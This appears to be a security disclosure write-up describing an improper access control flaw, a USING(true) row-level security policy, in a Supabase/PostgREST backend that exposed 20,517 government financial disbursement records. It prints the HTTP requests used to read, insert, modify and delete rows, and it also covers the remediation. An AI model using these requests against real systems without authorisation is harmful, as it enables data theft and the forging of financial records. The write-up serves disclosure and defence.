Summary
- Class
- CWE-284 — Improper Access Control
- CVSS
- 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Endpoint
/rest/v1/versements(PostgREST API)- Vector
- Overly permissive RLS policy —
USING(true)forauthenticatedrole - Impact
- Full CRUD on 20,517 financial disbursement records
- Status
- Fixed
Discovery
The target application used Supabase as its backend — PostgreSQL exposed over HTTP via the PostgREST API. The frontend made requests to a Supabase instance, sending the public apikey in the headers alongside the user's Authorization: Bearer session token.
After self-registering an account (open signup via magic link), I examined the API traffic and identified the PostgREST endpoint pattern at /rest/v1/{table_name}. I tested direct access to a table called versements (financial disbursements) — a table my low-privilege account had no business touching.
GET /rest/v1/versements?select=*&limit=20 HTTP/2
Host: supabase.[REDACTED].gouv.fr
apikey: eyJhbGciOiJIUzI1NiIs...[public key]
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...[session token]
The server returned 200 OK with Content-Range: 0-19/* — real financial data. The * indicated the total was unknown until I paginated, but the records were clearly live: amounts, years, categories, procedure references, and organisational identifiers.
Root Cause
The PostgreSQL Row-Level Security (RLS) policy on the versements table was defined as:
CREATE POLICY "allow_authenticated"
ON versements
FOR ALL
TO authenticated
USING (true);
USING(true) is the most permissive RLS policy possible — it returns true for every row, regardless of who is querying. Any user with the authenticated role (i.e., anyone who signed up) had full access to every record.
Exploitation
I confirmed full CRUD capability on the table:
Read — retrieved all 20,517 records:
GET /rest/v1/versements?select=*&limit=20
→ 200, Content-Range: 0-19/*, real financial data returned
Create — inserted a test record with a clearly marked safe-to-delete comment:
POST /rest/v1/versements
Content-Type: application/json
{
"amount": 300000,
"year": "2026",
"category": "1",
"comment": "SECURITY TEST - safe to delete",
"procedure_id": [REDACTED]
}
→ 201 Created
Update — modified the test record's amount field:
PATCH /rest/v1/versements?id=eq.[test_id]
→ 200 OK
Delete — removed the test record:
DELETE /rest/v1/versements?id=eq.[test_id]
→ 200 OK
Impact
- Confidentiality — any throwaway account could read all 20,517 financial records including disbursement amounts, categories, and government procedure references
- Integrity — records could be forged, modified, or falsified — a test record of €300,000 was successfully inserted
- Availability — the entire table could be wiped with a single
DELETErequest with no filter
Remediation
The security team confirmed the issue and initiated a broader Supabase configuration audit, which revealed similar USING(true) policies on other tables. The fixes included:
- Replacing
USING(true)with policies scoped to the user's organisation membership (e.g.,USING(org_id = auth.jwt() ->> 'org_id')) - Auditing all tables for overly permissive RLS grants
- Adding regression tests asserting a basic authenticated user cannot read or write another organisation's data
Takeaways
Supabase exposes PostgreSQL over HTTP through PostgREST. The apikey is public by design — the only access boundary is the RLS policy. If you encounter a Supabase-backed application, always test the PostgREST API directly at /rest/v1/{table}. The frontend may only query a subset of what the backend permits. A USING(true) policy on a sensitive table effectively disables access control — the table is world-readable and world-writable to anyone with a session token.
